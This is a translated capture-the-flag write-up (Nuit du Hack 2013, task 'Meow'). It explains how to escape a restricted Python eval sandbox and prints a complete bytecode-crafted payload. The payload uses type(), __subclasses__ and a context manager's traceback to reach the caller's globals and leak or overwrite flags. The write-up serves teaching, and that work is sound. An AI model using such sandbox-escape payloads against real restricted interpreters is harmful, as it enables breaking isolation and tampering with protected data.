使用Python的沙盒逃生

预期课程“ Python开发人员。“ Professional”准备了翻译,虽然不是最新的,但这篇文章同样有趣。祝您阅读愉快!






Nuit du Hack CTF 2013排位赛昨天举行,像往常一样,在几篇博文中,我将向您介绍该CTF的有趣任务和/或解决方案。如果您想了解更多,我的w4kfu队友应该在不久后发布在他的博客上。



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




其中一项任务称为“ Meow”,它为我们提供了使用Python的远程受限外壳程序,其中大部分内置模块均被禁用:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


有几个功能可用,分别 kitty()是以ASCII输出猫图像和的功能auth(password)。我以为我们需要绕过身份验证并找到密码。不幸的是,我们的Python命令以eval表达式模式传递,这意味着我们不能使用任何运算符:没有赋值运算符,没有打印,没有函数/类定义等。情况变得更加复杂。我们将不得不使用Python魔术(我保证在这篇文章中会有很多)。



起初,我以为我auth只是将密码与常量字符串进行比较。在这种情况下,我可以使用以__eq__始终返回的方式修改的自定义对象True...但是,您不能仅采用并创建这样的对象。我们不能通过class定义自己的类Foo,因为我们不能修改已经存在的对象(没有分配)。这就是Python的魔力开始的地方:我们可以直接实例化一个类型对象以创建一个类对象,然后实例化该类对象。这是完成的过程:



type('MyClass', (), {'__eq__': lambda self: True})


但是,我们不能在这里使用类型,它不是在内置模块中定义的。我们可以使用另一种技巧:每个Python对象都有一个属性 __class__该属性为我们提供了对象的类型。例如,‘’.__class__this str。但是更有趣的str.__class__类型。这样我们就可以''.__class__.__class__用来创建一个新的类型。



不幸的是,该函数auth不仅将我们的对象与字符串进行比较。她对此进行了许多其他操作:将其拆分为14个字符,经过长度len()reduce以奇怪的lambda进行调用。没有代码,很难弄清楚如何使对象表现出功能所需的方式,而且我不喜欢猜测。需要更多的魔法!



让我们添加代码对象。实际上,Python中的函数也是由代码对象和它们的全局变量捕获组成的对象。代码对象包含此函数的字节码和它引用的常量对象,一些字符串,名称和其他元数据(参数数,本地对象数,堆栈大小,将字节码映射到行号)。您可以使用获取功能代码对象myfunc.func_code。这restricted在Python解释器模式中是禁止的,因此我们看不到函数代码auth。但是,我们可以创建自己的函数,就像创建自己的类型一样!



您可能会问,当我们已经有了lambda时,为什么要使用代码对象创建函数?很简单:lambda不能包含运算符。并且可以随机生成函数!例如,我们可以创建一个函数,将其参数输出到stdout



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


但是,这里存在一个小问题:为了获取代码对象的类型,您需要访问受func_code限制的attribute 幸运的是,我们可以使用更多的Python魔术来查找我们的类型,而无需访问禁止的属性。



在Python中,类型对象具有一个属性__bases__该属性返回其所有基类的列表。它还具有一种方法__subclasses__该方法返回从其继承的所有类型的列表。如果我们使用__bases__随机类型,则可以到达对象类型层次结构的顶部,然后读取对象的子类以获取解释器中定义的所有类型的列表:



>>> len(().__class__.__bases__[0].__subclasses__())
81


然后,我们可以使用此列表查找我们的类型functioncode



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


现在我们可以构建所需的任何功能,该怎么办?我们可以直接访问无限的内联文件:我们创建的功能仍在restricted-environment中执行。我们可以得到一个非隔离的函数:该函数auth__len__作为参数传递对象上调用一个方法。但是,这还不足以摆脱沙箱:我们的全局变量仍然相同,例如,我们无法导入模块。我试图查看所有可以访问的类__subclasses__看看是否可以通过它获得有用模块的链接,但无济于事。仅通过反应堆调用我们创建的功能之一是不够的。我们可以尝试获取一个回溯对象,并使用它查看调用方的堆栈框架,但是获取回溯对象的唯一简单方法是通过模块inspectsys无法导入。当我偶然发现了这个问题之后,我转向了其他人,睡了很多觉,并找到了正确的解决方案!



实际上,还有另一种无需使用Python即可在Python标准库中获取回溯对象的方法context manager。它们是Python 2.6的一项新功能,允许在Python中进行一种面向对象的作用域:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


我们可以创建一个对象context manager该对象将使用传入的追溯对象__exit__向沙盒外部的调用函数显示全局变量。为此,我们使用了所有先前技巧的组合。我们创建一个匿名类型,它定义__enter__一个简单的lambda和 __exit__一个lambda,该lambda引用我们在跟踪中想要的东西,并将其传递给我们的输出lambda(请记住,我们不能使用运算符):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


我们需要更深入地挖掘!现在,我们需要在一个函数中使用此函数context manager(我们将ctx在以下代码段中调用该函数),该函数将有意在块中引发错误with



def f(self):
    with ctx:
        raise 42


然后,我们将其f作为__len__创建的对象,并将其传递给函数auth



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


让我们回到文章的开头,记住“真正的”内联代码。在服务器上运行时,这将导致Python解释器运行我们的函数f,遍历创建的函数,该函数context manager __exit__将访问我们的调用方法的全局变量,其中有两个有趣的值:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


两个标志?事实证明,同一服务用于两个背对背任务。双杀!



要获得访问全局变量的更多乐趣,我们可以做的不仅仅是阅读:我们可以更改标志!使用这些f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })标志将更改,直到下一个服务器重新启动。显然,组织者没有对此进行计划。



无论如何,我仍然不知道我们应该如何以正常方式解决此问题,但是我认为,这样一种通用解决方案是向读者介绍Python的黑魔法的好方法。仔细使用它,很容易迫使Python对生成的代码对象进行分段(使用Python解释器并通过生成的字节码运行x86 Shellcode留给读者)。感谢Nuit du Hack的组织者完成了一项艰巨的任务。







阅读更多






All Articles